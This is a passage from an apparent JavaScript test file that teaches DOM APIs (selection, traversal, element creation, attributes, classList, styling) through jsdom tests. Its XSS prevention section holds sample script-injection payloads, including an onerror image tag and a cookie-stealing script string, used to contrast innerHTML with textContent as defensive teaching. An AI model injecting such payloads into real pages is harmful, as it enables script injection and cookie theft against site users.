     expect(comment.nodeType).toBe(8)\n      expect(comment.nodeType).toBe(Node.COMMENT_NODE)\n      expect(comment.nodeName).toBe('#comment')\n    })\n\n    it('should identify document node type', () => {\n      expect(document.nodeType).toBe(9)\n      expect(document.nodeType).toBe(Node.DOCUMENT_NODE)\n      expect(document.nodeName).toBe('#document')\n    })\n\n    it('should identify document fragment node type', () => {\n      const fragment = document.createDocumentFragment()\n      expect(fragment.nodeType).toBe(11)\n      expect(fragment.nodeType).toBe(Node.DOCUMENT_FRAGMENT_NODE)\n      expect(fragment.nodeName).toBe('#document-fragment')\n    })\n\n    it('should have correct node type constants', () => {\n      expect(Node.ELEMENT_NODE).toBe(1)\n      expect(Node.TEXT_NODE).toBe(3)\n      expect(Node.COMMENT_NODE).toBe(8)\n      expect(Node.DOCUMENT_NODE).toBe(9)\n      expect(Node.DOCUMENT_FRAGMENT_NODE).toBe(11)\n    })\n\n    it('should access document properties', () => {\n      expect(document.documentElement.tagName).toBe('HTML')\n      expect(document.head).toBeTruthy()\n      expect(document.body).toBeTruthy()\n    })\n\n    it('should be able to set document title', () => {\n      document.title = 'New Title'\n      expect(document.title).toBe('New Title')\n    })\n  })\n\n  // ===========================================================================\n  // SELECTING ELEMENTS\n  // ===========================================================================\n  describe('Selecting Elements', () => {\n    beforeEach(() => {\n      document.body.innerHTML = `\n        <div id=\"hero\">Welcome!</div>\n        <p class=\"intro\">First</p>\n        <p class=\"intro\">Second</p>\n        <p>Third</p>\n        <nav>\n          <a href=\"#\" class=\"active\">Home</a>\n          <a href=\"#\">About</a>\n        </nav>\n        <input type=\"text\" data-id=\"123\">\n      `\n    })\n\n    describe('getElementById', () => {\n      it('should select element by id', () => {\n        const hero = document.getElementById('hero')\n        expect(hero).toBeTruthy()\n        expect(hero.textContent).toBe('Welcome!')\n      })\n\n      it('should return null for non-existent id', () => {\n        const ghost = document.getElementById('nonexistent')\n        expect(ghost).toBeNull()\n      })\n    })\n\n    describe('getElementsByClassName', () => {\n      it('should select elements by class name', () => {\n        const intros = document.getElementsByClassName('intro')\n        expect(intros.length).toBe(2)\n        expect(intros[0].textContent).toBe('First')\n      })\n\n      it('should return empty collection for non-existent class', () => {\n        const ghosts = document.getElementsByClassName('nonexistent')\n        expect(ghosts.length).toBe(0)\n      })\n    })\n\n    describe('getElementsByTagName', () => {\n      it('should select elements by tag name', () => {\n        const allParagraphs = document.getElementsByTagName('p')\n        expect(allParagraphs.length).toBe(3)\n      })\n    })\n\n    describe('querySelector', () => {\n      it('should select first matching element', () => {\n        const firstButton = document.querySelector('a')\n        expect(firstButton.textContent).toBe('Home')\n      })\n\n      it('should select by id', () => {\n        const hero = document.querySelector('#hero')\n        expect(hero.textContent).toBe('Welcome!')\n      })\n\n      it('should select by class', () => {\n        const firstIntro = document.querySelector('.intro')\n        expect(firstIntro.textContent).toBe('First')\n      })\n\n      it('should select by complex selector', () => {\n        const navLink = document.querySelector('nav a.active')\n        expect(navLink.textContent).toBe('Home')\n      })\n\n      it('should select by attribute', () => {\n        const dataItem = document.querySelector('[data-id=\"123\"]')\n        expect(dataItem.tagName).toBe('INPUT')\n      })\n\n      it('should return null for no match', () => {\n        const ghost = document.querySelector('.nonexistent')\n        expect(ghost).toBeNull()\n      })\n    })\n\n    describe('querySelectorAll', () => {\n      it('should select all matching elements', () => {\n        const allCards = document.querySelectorAll('.intro')\n        expect(allCards.length).toBe(2)\n      })\n\n      it('should return empty NodeList for no matches', () => {\n        const ghosts = document.querySelectorAll('.nonexistent')\n        expect(ghosts.length).toBe(0)\n      })\n\n      it('should support complex selectors', () => {\n        const links = document.querySelectorAll('nav a')\n        expect(links.length).toBe(2)\n      })\n    })\n\n    describe('Scoped Selection', () => {\n      it('should select within a parent element', () => {\n        const nav = document.querySelector('nav')\n        const navLinks = nav.querySelectorAll('a')\n        expect(navLinks.length).toBe(2)\n      })\n\n      it('should find specific child in parent', () => {\n        const nav = document.querySelector('nav')\n        const activeLink = nav.querySelector('.active')\n        expect(activeLink.textContent).toBe('Home')\n      })\n    })\n  })\n\n  // ===========================================================================\n  // LIVE VS STATIC COLLECTIONS\n  // ===========================================================================\n  describe('Live vs Static Collections', () => {\n    beforeEach(() => {\n      document.body.innerHTML = `\n        <div class=\"item\">One</div>\n        <div class=\"item\">Two</div>\n        <div class=\"item\">Three</div>\n      `\n    })\n\n    it('should demonstrate live HTMLCollection updates', () => {\n      const liveList = document.getElementsByClassName('item')\n      expect(liveList.length).toBe(3)\n\n      // Add a new item\n      const newItem = document.createElement('div')\n      newItem.className = 'item'\n      document.body.appendChild(newItem)\n\n      // Live collection is automatically updated\n      expect(liveList.length).toBe(4)\n    })\n\n    it('should demonstrate static NodeList does not update', () => {\n      const staticList = document.querySelectorAll('.item')\n      expect(staticList.length).toBe(3)\n\n      // Add a new item\n      const newItem = document.createElement('div')\n      newItem.className = 'item'\n      document.body.appendChild(newItem)\n\n      // Static list is still the old snapshot\n      expect(staticList.length).toBe(3)\n    })\n  })\n\n  // ===========================================================================\n  // DOM TRAVERSAL\n  // ===========================================================================\n  describe('DOM Traversal', () => {\n    beforeEach(() => {\n      document.body.innerHTML = `\n        <ul id=\"list\">\n          <li id=\"first\">One</li>\n          <li id=\"second\">Two</li>\n          <li id=\"third\">Three</li>\n        </ul>\n      `\n    })\n\n    describe('Traversing Downwards', () => {\n      it('should get child nodes including text nodes', () => {\n        const ul = document.querySelector('ul')\n        // childNodes includes text nodes from whitespace\n        expect(ul.childNodes.length).toBeGreaterThan(3)\n      })\n\n      it('should get only element children', () => {\n        const ul = document.querySelector('ul')\n        expect(ul.children.length).toBe(3)\n        expect(ul.children[0].textContent).toBe('One')\n      })\n\n      it('should get first and last element children', () => {\n        const ul = document.querySelector('ul')\n        expect(ul.firstElementChild.textContent).toBe('One')\n        expect(ul.lastElementChild.textContent).toBe('Three')\n      })\n\n      it('should demonstrate firstChild vs firstElementChild', () => {\n        const ul = document.querySelector('ul')\n        // firstChild might be a text node (whitespace)\n        const firstChild = ul.firstChild\n        const firstElementChild = ul.firstElementChild\n\n        // firstElementChild is always an element\n        expect(firstElementChild.tagName).toBe('LI')\n        // firstChild might be text node\n        expect(firstChild.nodeType === Node.TEXT_NODE || firstChild.nodeType === Node.ELEMENT_NODE).toBe(true)\n      })\n    })\n\n    describe('Traversing Upwards', () => {\n      it('should get parent node', () => {\n        const li = document.querySelector('li')\n        expect(li.parentNode.tagName).toBe('UL')\n      })\n\n      it('should get parent element', () => {\n        const li = document.querySelector('li')\n        expect(li.parentElement.tagName).toBe('UL')\n      })\n\n      it('should find ancestor with closest()', () => {\n        const li = document.querySelector('li')\n        const ul = li.closest('ul')\n        expect(ul.id).toBe('list')\n      })\n\n      it('should return element itself if it matches closest()', () => {\n        const li = document.querySelector('li')\n        const self = li.closest('li')\n        expect(self).toBe(li)\n      })\n\n      it('should return null if no ancestor matches closest()', () => {\n        const li = document.querySelector('li')\n        const result = li.closest('.nonexistent')\n        expect(result).toBeNull()\n      })\n    })\n\n    describe('Traversing Sideways', () => {\n      it('should get next element sibling', () => {\n        const first = document.querySelector('#first')\n        const second = first.nextElementSibling\n        expect(second.id).toBe('second')\n      })\n\n      it('should get previous element sibling', () => {\n        const second = document.querySelector('#second')\n        const first = second.previousElementSibling\n        expect(first.id).toBe('first')\n      })\n\n      it('should return null at boundaries', () => {\n        const first = document.querySelector('#first')\n        const third = document.querySelector('#third')\n        expect(first.previousElementSibling).toBeNull()\n        expect(third.nextElementSibling).toBeNull()\n      })\n    })\n\n    describe('Building Ancestor Trail', () => {\n      it('should get all ancestors of an element', () => {\n        document.body.innerHTML = `\n          <main>\n            <section>\n              <div class=\"deeply-nested\">Content</div>\n            </section>\n          </main>\n        `\n\n        function getAncestors(element) {\n          const ancestors = []\n          let current = element.parentElement\n\n          while (current && current !== document.body) {\n            ancestors.push(current)\n            current = current.parentElement\n          }\n\n          return ancestors\n        }\n\n        const deepElement = document.querySelector('.deeply-nested')\n        const ancestors = getAncestors(deepElement)\n\n        expect(ancestors.length).toBe(2)\n        expect(ancestors[0].tagName).toBe('SECTION')\n        expect(ancestors[1].tagName).toBe('MAIN')\n      })\n    })\n  })\n\n  // ===========================================================================\n  // CREATING AND MANIPULATING ELEMENTS\n  // ===========================================================================\n  describe('Creating and Manipulating Elements', () => {\n    describe('Creating Elements', () => {\n      it('should create a new element', () => {\n        const div = document.createElement('div')\n        expect(div.tagName).toBe('DIV')\n        expect(div.parentNode).toBeNull() // Not yet in DOM\n      })\n\n      it('should create a text node', () => {\n        const text = document.createTextNode('Hello, world!')\n        expect(text.nodeType).toBe(Node.TEXT_NODE)\n        expect(text.textContent).toBe('Hello, world!')\n      })\n\n      it('should create a comment node', () => {\n        const comment = document.createComment('This is a comment')\n        expect(comment.nodeType).toBe(Node.COMMENT_NODE)\n        expect(comment.textContent).toBe('This is a comment')\n      })\n    })\n\n    describe('appendChild', () => {\n      it('should add element as last child', () => {\n        document.body.innerHTML = '<ul><li>Existing</li></ul>'\n        const ul = document.querySelector('ul')\n        const li = document.createElement('li')\n        li.textContent = 'New item'\n\n        ul.appendChild(li)\n\n        expect(ul.lastElementChild.textContent).toBe('New item')\n        expect(ul.children.length).toBe(2)\n      })\n    })\n\n    describe('insertBefore', () => {\n      it('should insert element before reference node', () => {\n        document.body.innerHTML = '<ul><li>Existing</li></ul>'\n        const ul = document.querySelector('ul')\n        const existingLi = ul.querySelector('li')\n        const newLi = document.createElement('li')\n        newLi.textContent = 'First!'\n\n        ul.insertBefore(newLi, existingLi)\n\n        expect(ul.firstElementChild.textContent).toBe('First!')\n        expect(ul.children.length).toBe(2)\n      })\n    })\n\n    describe('append and prepend', () => {\n      it('should append multiple items including strings', () => {\n        const div = document.createElement('div')\n        const span = document.createElement('span')\n\n        div.append('Text', span, 'More text')\n\n        expect(div.childNodes.length).toBe(3)\n        expect(div.textContent).toBe('TextMore text')\n      })\n\n      it('should prepend element to start', () => {\n        document.body.innerHTML = '<div>Existing</div>'\n        const div = document.querySelector('div')\n        const strong = document.createElement('strong')\n        strong.textContent = 'New'\n\n        div.prepend(strong)\n\n        expect(div.firstElementChild.tagName).toBe('STRONG')\n      })\n    })\n\n    describe('before and after', () => {\n      it('should insert as previous sibling with before()', () => {\n        document.body.innerHTML = '<h1>Title</h1>'\n        const h1 = document.querySelector('h1')\n        const nav = document.createElement('nav')\n\n        h1.before(nav)\n\n        expect(h1.previousElementSibling.tagName).toBe('NAV')\n      })\n\n      it('should insert as next sibling with after()', () => {\n        document.body.innerHTML = '<h1>Title</h1>'\n        const h1 = document.querySelector('h1')\n        const p = document.createElement('p')\n\n        h1.after(p)\n\n        expect(h1.nextElementSibling.tagName).toBe('P')\n      })\n    })\n\n    describe('insertAdjacentHTML', () => {\n      it('should insert at all four positions', () => {\n        document.body.innerHTML = '<div id=\"target\">Content</div>'\n        const div = document.querySelector('#target')\n\n        div.insertAdjacentHTML('beforebegin', '<p id=\"before\">Before</p>')\n        div.insertAdjacentHTML('afterbegin', '<span id=\"first\">First</span>')\n        div.insertAdjacentHTML('beforeend', '<span id=\"last\">Last</span>')\n        div.insertAdjacentHTML('afterend', '<p id=\"after\">After</p>')\n\n        expect(div.previousElementSibling.id).toBe('before')\n        expect(div.firstElementChild.id).toBe('first')\n        expect(div.lastElementChild.id).toBe('last')\n        expect(div.nextElementSibling.id).toBe('after')\n      })\n    })\n\n    describe('Removing Elements', () => {\n      it('should remove element with remove()', () => {\n        document.body.innerHTML = '<div class=\"to-remove\">Gone</div>'\n        const element = document.querySelector('.to-remove')\n\n        element.remove()\n\n        expect(document.querySelector('.to-remove')).toBeNull()\n      })\n\n      it('should remove child with removeChild()', () => {\n        document.body.innerHTML = '<ul><li>Keep</li><li class=\"remove\">Remove</li></ul>'\n        const ul = document.querySelector('ul')\n        const toRemove = ul.querySelector('.remove')\n\n        ul.removeChild(toRemove)\n\n        expect(ul.children.length).toBe(1)\n        expect(ul.querySelector('.remove')).toBeNull()\n      })\n    })\n\n    describe('Cloning Elements', () => {\n      it('should shallow clone element only', () => {\n        document.body.innerHTML = '<div class=\"card\"><p>Content</p></div>'\n        const original = document.querySelector('.card')\n\n        const shallow = original.cloneNode(false)\n\n        expect(shallow.className).toBe('card')\n        expect(shallow.children.length).toBe(0) // No children\n      })\n\n      it('should deep clone element with descendants', () => {\n        document.body.innerHTML = '<div class=\"card\"><p>Content</p></div>'\n        const original = document.querySelector('.card')\n\n        const deep = original.cloneNode(true)\n\n        expect(deep.className).toBe('card')\n        expect(deep.children.length).toBe(1)\n        expect(deep.querySelector('p').textContent).toBe('Content')\n      })\n\n      it('should create detached clone', () => {\n        document.body.innerHTML = '<div class=\"card\">Content</div>'\n        const original = document.querySelector('.card')\n\n        const clone = original.cloneNode(true)\n\n        expect(clone.parentNode).toBeNull()\n      })\n    })\n\n    describe('DocumentFragment', () => {\n      it('should batch add elements with fragment', () => {\n        document.body.innerHTML = '<ul></ul>'\n        const ul = document.querySelector('ul')\n        const fragment = document.createDocumentFragment()\n\n        for (let i = 0; i < 5; i++) {\n          const li = document.createElement('li')\n          li.textContent = `Item ${i}`\n          fragment.appendChild(li)\n        }\n\n        ul.appendChild(fragment)\n\n        expect(ul.children.length).toBe(5)\n        expect(ul.firstElementChild.textContent).toBe('Item 0')\n        expect(ul.lastElementChild.textContent).toBe('Item 4')\n      })\n\n      it('should have no parent', () => {\n        const fragment = document.createDocumentFragment()\n        expect(fragment.parentNode).toBeNull()\n      })\n    })\n  })\n\n  // ===========================================================================\n  // MODIFYING CONTENT\n  // ===========================================================================\n  describe('Modifying Content', () => {\n    describe('innerHTML', () => {\n      it('should read HTML content', () => {\n        document.body.innerHTML = '<div><p>Hello</p><span>World</span></div>'\n        const div = document.querySelector('div')\n\n        expect(div.innerHTML).toBe('<p>Hello</p><span>World</span>')\n      })\n\n      it('should set HTML content', () => {\n        document.body.innerHTML = '<div></div>'\n        const div = document.querySelector('div')\n\n        div.innerHTML = '<h1>New Title</h1><p>New paragraph</p>'\n\n        expect(div.children.length).toBe(2)\n        expect(div.querySelector('h1').textContent).toBe('New Title')\n      })\n\n      it('should clear content with empty string', () => {\n        document.body.innerHTML = '<div><p>Content</p></div>'\n        const div = document.querySelector('div')\n\n        div.innerHTML = ''\n\n        expect(div.children.length).toBe(0)\n      })\n    })\n\n    describe('textContent', () => {\n      it('should read text content ignoring HTML', () => {\n        document.body.innerHTML = '<div><p>Hello</p><span>World</span></div>'\n        const div = document.querySelector('div')\n\n        expect(div.textContent).toBe('HelloWorld')\n      })\n\n      it('should set text content escaping HTML', () => {\n        document.body.innerHTML = '<div></div>'\n        const div = document.querySelector('div')\n\n        div.textContent = '<script>alert(\"XSS\")</script>'\n\n        // HTML is escaped, not parsed\n        expect(div.children.length).toBe(0)\n        expect(div.textContent).toBe('<script>alert(\"XSS\")</script>')\n      })\n    })\n\n    describe('innerText vs textContent', () => {\n      it('textContent includes hidden text, innerText may not', () => {\n        document.body.innerHTML = '<div>Hello <span style=\"display:none\">Hidden</span> World</div>'\n        const div = document.querySelector('div')\n\n        // textContent includes all text\n        expect(div.textContent).toContain('Hidden')\n\n        // Note: In jsdom, innerText may behave like textContent\n        // In real browsers, innerText would exclude display:none text\n      })\n    })\n  })\n\n  // ===========================================================================\n  // WORKING WITH ATTRIBUTES\n  // ===========================================================================\n  describe('Working with Attributes', () => {\n    describe('Standard Attribute Methods', () => {\n      it('should get attribute value', () => {\n        document.body.innerHTML = '<a href=\"https://example.com\" target=\"_blank\">Link</a>'\n        const link = document.querySelector('a')\n\n        expect(link.getAttribute('href')).toBe('https://example.com')\n        expect(link.getAttribute('target')).toBe('_blank')\n      })\n\n      it('should set attribute value', () => {\n        document.body.innerHTML = '<a href=\"#\">Link</a>'\n        const link = document.querySelector('a')\n\n        link.setAttribute('href', 'https://newurl.com')\n        link.setAttribute('target', '_blank')\n\n        expect(link.getAttribute('href')).toBe('https://newurl.com')\n        expect(link.getAttribute('target')).toBe('_blank')\n      })\n\n      it('should check if attribute exists', () => {\n        document.body.innerHTML = '<a href=\"#\" target=\"_blank\">Link</a>'\n        const link = document.querySelector('a')\n\n        expect(link.hasAttribute('target')).toBe(true)\n        expect(link.hasAttribute('rel')).toBe(false)\n      })\n\n      it('should remove attribute', () => {\n        document.body.innerHTML = '<a href=\"#\" target=\"_blank\">Link</a>'\n        const link = document.querySelector('a')\n\n        link.removeAttribute('target')\n\n        expect(link.hasAttribute('target')).toBe(false)\n      })\n    })\n\n    describe('Properties vs Attributes', () => {\n      it('should show difference between attribute and property', () => {\n        document.body.innerHTML = '<input type=\"text\" value=\"initial\">'\n        const input = document.querySelector('input')\n\n        // Both start the same\n        expect(input.getAttribute('value')).toBe('initial')\n        expect(input.value).toBe('initial')\n\n        // Change the property (simulating user input)\n        input.value = 'new text'\n\n        // Attribute stays the same, property changes\n        expect(input.getAttribute('value')).toBe('initial')\n        expect(input.value).toBe('new text')\n      })\n\n      it('should show checkbox property vs attribute', () => {\n        document.body.innerHTML = '<input type=\"checkbox\" checked>'\n        const checkbox = document.querySelector('input')\n\n        // Attribute is string or null\n        expect(checkbox.getAttribute('checked')).toBe('')\n\n        // Property is boolean\n        expect(checkbox.checked).toBe(true)\n\n        // Toggle the property\n        checkbox.checked = false\n        expect(checkbox.checked).toBe(false)\n        // Attribute may still exist\n      })\n    })\n\n    describe('Data Attributes and dataset API', () => {\n      it('should read data attributes via dataset', () => {\n        document.body.innerHTML = '<div id=\"user\" data-user-id=\"123\" data-role=\"admin\"></div>'\n        const user = document.querySelector('#user')\n\n        expect(user.dataset.userId).toBe('123')\n        expect(user.dataset.role).toBe('admin')\n      })\n\n      it('should write data attributes via dataset', () => {\n        document.body.innerHTML = '<div id=\"user\"></div>'\n        const user = document.querySelector('#user')\n\n        user.dataset.lastLogin = '2024-01-15'\n\n        expect(user.getAttribute('data-last-login')).toBe('2024-01-15')\n      })\n\n      it('should delete data attributes', () => {\n        document.body.innerHTML = '<div data-role=\"admin\"></div>'\n        const div = document.querySelector('div')\n\n        delete div.dataset.role\n\n        expect(div.hasAttribute('data-role')).toBe(false)\n      })\n\n      it('should check if data attribute exists', () => {\n        document.body.innerHTML = '<div data-user-id=\"123\"></div>'\n        const div = document.querySelector('div')\n\n        expect('userId' in div.dataset).toBe(true)\n        expect('role' in div.dataset).toBe(false)\n      })\n    })\n  })\n\n  // ===========================================================================\n  // STYLING ELEMENTS\n  // ===========================================================================\n  describe('Styling Elements', () => {\n    describe('style Property', () => {\n      it('should set inline styles', () => {\n        document.body.innerHTML = '<div></div>'\n        const box = document.querySelector('div')\n\n        box.style.backgroundColor = 'blue'\n        box.style.fontSize = '20px'\n\n        expect(box.style.backgroundColor).toBe('blue')\n        expect(box.style.fontSize).toBe('20px')\n      })\n\n      it('should remove inline style with empty string', () => {\n        document.body.innerHTML = '<div style=\"color: red;\"></div>'\n        const box = document.querySelector('div')\n\n        box.style.color = ''\n\n        expect(box.style.color).toBe('')\n      })\n\n      it('should set multiple styles with cssText', () => {\n        document.body.innerHTML = '<div></div>'\n        const box = document.querySelector('div')\n\n        box.style.cssText = 'background: red; font-size: 16px; padding: 10px;'\n\n        expect(box.style.background).toContain('red')\n        expect(box.style.fontSize).toBe('16px')\n        expect(box.style.padding).toBe('10px')\n      })\n    })\n\n    describe('getComputedStyle', () => {\n      it('should get computed styles', () => {\n        document.body.innerHTML = '<div style=\"display: block;\"></div>'\n        const box = document.querySelector('div')\n\n        const styles = getComputedStyle(box)\n\n        expect(styles.display).toBe('block')\n      })\n    })\n\n    describe('classList API', () => {\n      it('should add classes', () => {\n        document.body.innerHTML = '<button></button>'\n        const button = document.querySelector('button')\n\n        button.classList.add('active')\n        button.classList.add('btn', 'btn-primary')\n\n        expect(button.classList.contains('active')).toBe(true)\n        expect(button.classList.contains('btn')).toBe(true)\n        expect(button.classList.contains('btn-primary')).toBe(true)\n      })\n\n      it('should remove classes', () => {\n        document.body.innerHTML = '<button class=\"active btn btn-primary\"></button>'\n        const button = document.querySelector('button')\n\n        button.classList.remove('active')\n        button.classList.remove('btn', 'btn-primary')\n\n        expect(button.classList.contains('active')).toBe(false)\n        expect(button.classList.contains('btn')).toBe(false)\n      })\n\n      it('should toggle classes', () => {\n        document.body.innerHTML = '<button></button>'\n        const button = document.querySelector('button')\n\n        button.classList.toggle('active')\n        expect(button.classList.contains('active')).toBe(true)\n\n        button.classList.toggle('active')\n        expect(button.classList.contains('active')).toBe(false)\n      })\n\n      it('should toggle with condition', () => {\n        document.body.innerHTML = '<button></button>'\n        const button = document.querySelector('button')\n\n        button.classList.toggle('active', true)\n        expect(button.classList.contains('active')).toBe(true)\n\n        button.classList.toggle('active', false)\n        expect(button.classList.contains('active')).toBe(false)\n      })\n\n      it('should replace class', () => {\n        document.body.innerHTML = '<button class=\"btn-primary\"></button>'\n        const button = document.querySelector('button')\n\n        button.classList.replace('btn-primary', 'btn-secondary')\n\n        expect(button.classList.contains('btn-primary')).toBe(false)\n        expect(button.classList.contains('btn-secondary')).toBe(true)\n      })\n\n      it('should get class count', () => {\n        document.body.innerHTML = '<button class=\"btn btn-primary active\"></button>'\n        const button = document.querySelector('button')\n\n        expect(button.classList.length).toBe(3)\n      })\n    })\n  })\n\n  // ===========================================================================\n  // COMMON PATTERNS\n  // ===========================================================================\n  describe('Common Patterns', () => {\n    describe('Checking Element Existence', () => {\n      it('should check if element exists with querySelector', () => {\n        document.body.innerHTML = '<div class=\"exists\">Found</div>'\n\n        const element = document.querySelector('.exists')\n        if (element) {\n          element.textContent = 'Updated!'\n        }\n\n        expect(document.querySelector('.exists').textContent).toBe('Updated!')\n      })\n\n      it('should handle non-existent element safely', () => {\n        document.body.innerHTML = ''\n\n        const element = document.querySelector('.maybe-exists')\n\n        // Using optional chaining (no error)\n        element?.classList.add('active')\n\n        expect(element).toBeNull()\n      })\n    })\n\n    describe('Event Delegation Pattern', () => {\n      it('should use closest() for event delegation', () => {\n        document.body.innerHTML = `\n          <div class=\"card-container\">\n            <div class=\"card\">\n              <button class=\"btn\">Click</button>\n            </div>\n          </div>\n        `\n\n        let clickedCard = null\n        const container = document.querySelector('.card-container')\n\n        // Simulate event delegation\n        const btn = document.querySelector('.btn')\n        const card = btn.closest('.card')\n\n        if (card) {\n          clickedCard = card\n        }\n\n        expect(clickedCard).not.toBeNull()\n        expect(clickedCard.classList.contains('card')).toBe(true)\n      })\n    })\n\n    describe('Security Patterns - XSS Prevention', () => {\n      it('should demonstrate innerHTML vulnerability with script-like content', () => {\n        document.body.innerHTML = '<div id=\"output\"></div>'\n        const output = document.getElementById('output')\n\n        // innerHTML can render HTML - potential XSS vector\n        const maliciousInput = '<img src=\"x\" onerror=\"alert(1)\">'\n        output.innerHTML = maliciousInput\n\n        // The img tag is actually created\n        const img = output.querySelector('img')\n        expect(img).not.toBeNull()\n        expect(img.getAttribute('onerror')).toBe('alert(1)')\n      })\n\n      it('should use textContent to safely render user input', () => {\n        document.body.innerHTML = '<div id=\"output\"></div>'\n        const output = document.getElementById('output')\n\n        // textContent escapes HTML - safe from XSS\n        const maliciousInput = '<img src=\"x\" onerror=\"alert(1)\">'\n        output.textContent = maliciousInput\n\n        // No img tag created - text is escaped\n        const img = output.querySelector('img')\n        expect(img).toBeNull()\n        expect(output.textContent).toBe('<img src=\"x\" onerror=\"alert(1)\">')\n      })\n\n      it('should show difference between innerHTML and textContent with HTML entities', () => {\n        document.body.innerHTML = '<div id=\"html-output\"></div><div id=\"text-output\"></div>'\n\n        const htmlOutput = document.getElementById('html-output')\n        const textOutput = document.getElementById('text-output')\n\n        const userInput = '<script>steal(cookies)</script>'\n\n        htmlOutput.innerHTML = userInput\n        textOutput.textContent = userInput\n\n        // innerHTML parses the HTML (script won't execute in modern browsers but DOM is modified)\n        expect(htmlOutput.children.length).toBeGreaterThanOrEqual(0)\n\n        // textContent treats it as plain text\n        expect(textOutput.textContent).toBe('<script>steal(cookies)</script>')\n        expect(textOutput.children.length).toBe(0)\n      })\n    })\n\n    describe('Attribute Shortcuts', () => {\n      it('should access id directly on element', () => {\n        document.body.innerHTML = '<div id=\"myElement\"></div>'\n        const element = document.getElementById('myElement')\n\n        expect(element.id).toBe('myElement')\n\n        element.id = 'newId'\n        expect(element.id).toBe('newId')\n        expect(document.getElementById('newId')).toBe(element)\n      })\n\n      it('should access className directly on element', () => {\n        document.body.innerHTML = '<div class=\"box large\"></div>'\n        const element = document.querySelector('.box')\n\n        expect(element.className).toBe('box large')\n\n        element.className = 'container small'\n        expect(element.className).toBe('container small')\n      })\n\n      it('should access href directly on anchor elements', () => {\n        document.body.innerHTML = '<a href=\"https://example.com\">Link</a>'\n        const link = document.querySelector('a')\n\n        expect(link.href).toBe('https://example.com/')\n\n        link.href = 'https://test.com'\n        expect(link.href).toBe('https://test.com/')\n      })\n\n      it('should access src directly on image elements', () => {\n        document.body.innerHTML = '<img src=\"photo.jpg\" alt=\"Photo\">'\n        const img = document.querySelector('img')\n\n        expect(img.src).toContain('photo.jpg')\n\n        img.src = 'newphoto.png'\n        expect(img.src).toContain('newphoto.png')\n      })\n\n      it('should access title directly on elements', () => {\n        document.body.innerHTML = '<button title=\"Click me\">Button</button>'\n        const button = document.querySelector('button')\n\n        expect(button.title).toBe('Click me')\n\n        button.title = 'New tooltip'\n        expect(button.title).toBe('New tooltip')\n      })\n    })\n\n    describe('className vs classList Comparison', () => {\n      it('should replace all classes when using className', () => {\n        document.body.innerHTML = '<div class=\"one two three\"></div>'\n        const element = document.querySelector('div')\n\n        // className replaces everything\n        element.className = 'four'\n\n        expect(element.className).toBe('four')\n        expect(element.classList.contains('one')).toBe(false)\n        expect(element.classList.contains('four')).toBe(true)\n      })\n\n      it('should add single class without affecting others using classList', () => {\n        document.body.innerHTML = '<div class=\"one two three\"></div>'\n        const element = document.querySelector('div')\n\n        // classList.add preserves existing classes\n        element.classList.add('four')\n\n        expect(element.classList.contains('one')).toBe(true)\n        expect(element.classList.contains('two')).toBe(true)\n        expect(element.classList.contains('three')).toBe(true)\n        expect(element.classList.contains('four')).toBe(true)\n      })\n\n      it('should toggle class on and off with classList', () => {\n        document.body.innerHTML = '<div class=\"active\"></div>'\n        const element = document.querySelector('div')\n\n        expect(element.classList.contains('active')).toBe(true)\n\n        element.classList.toggle('active')\n        expect(element.classList.contains('active')).toBe(false)\n\n        element.classList.toggle('active')\n        expect(element.classList.contains('active')).toBe(true)\n      })\n    })\n\n    describe('Performance Patterns', () => {\n      it('should cache DOM references instead of repeated queries', () => {\n        document.body.innerHTML = '<div id=\"target\">Content</div>'\n\n        // Bad: querying multiple times (we just demonstrate the pattern)\n        const query1 = document.getElementById('target')\n        const query2 = document.getElementById('target')\n        const query3 = document.getElementById('target')\n\n        // Good: cache the reference\n        const cached = document.getElementById('target')\n        const ref1 = cached\n        const ref2 = cached\n        const ref3 = cached\n\n        // All references point to same element\n        expect(ref1).toBe(ref2)\n        expect(ref2).toBe(ref3)\n        expect(cached).toBe(query1)\n      })\n\n      it('should batch DOM updates using documentFragment', () => {\n        document.body.innerHTML = '<ul id=\"list\"></ul>'\n        const list = document.getElementById('list')\n\n        // Use fragment to batch insertions\n        const fragment = document.createDocumentFragment()\n\n        for (let i = 0; i < 5; i++) {\n          const li = document.createElement('li')\n          li.textContent = `Item ${i}`\n          fragment.appendChild(li)\n        }\n\n        // Single DOM update\n        list.appendChild(fragment)\n\n        expect(list.children.length).toBe(5)\n        expect(list.children[0].textContent).toBe('Item 0')\n        expect(list.children[4].textContent).toBe('Item 4')\n      })\n\n      it('should avoid layout thrashing by batching reads and writes', () => {\n        document.body.innerHTML = `\n          <div class=\"box\" style=\"width: 100px; height: 100px;\"></div>\n          <div class=\"box\" style=\"width: 100px; height: 100px;\"></div>\n        `\n        const boxes = document.querySelectorAll('.box')\n\n        // Good pattern: read all first, then write all\n        const heights = []\n\n        // Batch reads - get heights from style (JSDOM doesn't compute offsetHeight)\n        boxes.forEach(box => {\n          heights.push(parseInt(box.style.height, 10))\n        })\n\n        // Batch writes\n        boxes.forEach((box, i) => {\n          box.style.height = `${heights[i] + 10}px`\n        })\n\n        expect(boxes[0].style.height).toBe('110px')\n        expect(boxes[1].style.height).toBe('110px')\n      })\n\n      it('should use textContent for better performance than innerHTML for text', () => {\n        document.body.innerHTML = '<div id=\"target\"></div>'\n        const target = document.getElementById('target')\n\n        // textContent is faster for plain text (no HTML parsing)\n        target.textContent = 'Plain text content'\n\n        expect(target.textContent).toBe('Plain text content')\n        expect(target.innerHTML).toBe('Plain text content')\n        expect(target.children.length).toBe(0)\n      })\n    })\n\n    describe('Properties vs Attributes Extended', () => {\n      it('should handle maxLength property on input', () => {\n        document.body.innerHTML = '<input type=\"text\" maxlength=\"10\">'\n        const input = document.querySelector('input')\n\n        // Property returns number\n        expect(input.maxLength).toBe(10)\n        expect(typeof input.maxLength).toBe('number')\n\n        // Attribute returns string\n        expect(input.getAttribute('maxlength')).toBe('10')\n        expect(typeof input.getAttribute('maxlength')).toBe('string')\n      })\n\n      it('should handle checked property on different input types', () => {\n        document.body.innerHTML = `\n          <input type=\"checkbox\" id=\"cb\" checked>\n          <input type=\"radio\" id=\"rb\" name=\"group\" checked>\n        `\n\n        const checkbox = document.getElementById('cb')\n        const radio = document.getElementById('rb')\n\n        // Both have boolean checked property\n        expect(checkbox.checked).toBe(true)\n        expect(radio.checked).toBe(true)\n\n        // Toggle checkbox\n        checkbox.checked = false\n        expect(checkbox.checked).toBe(false)\n\n        // Attribute still shows original\n        expect(checkbox.hasAttribute('checked')).toBe(true)\n      })\n    })\n\n    describe('Clone ID Collision Prevention', () => {\n      it('should demonstrate ID collision issue with cloneNode', () => {\n        document.body.innerHTML = '<div 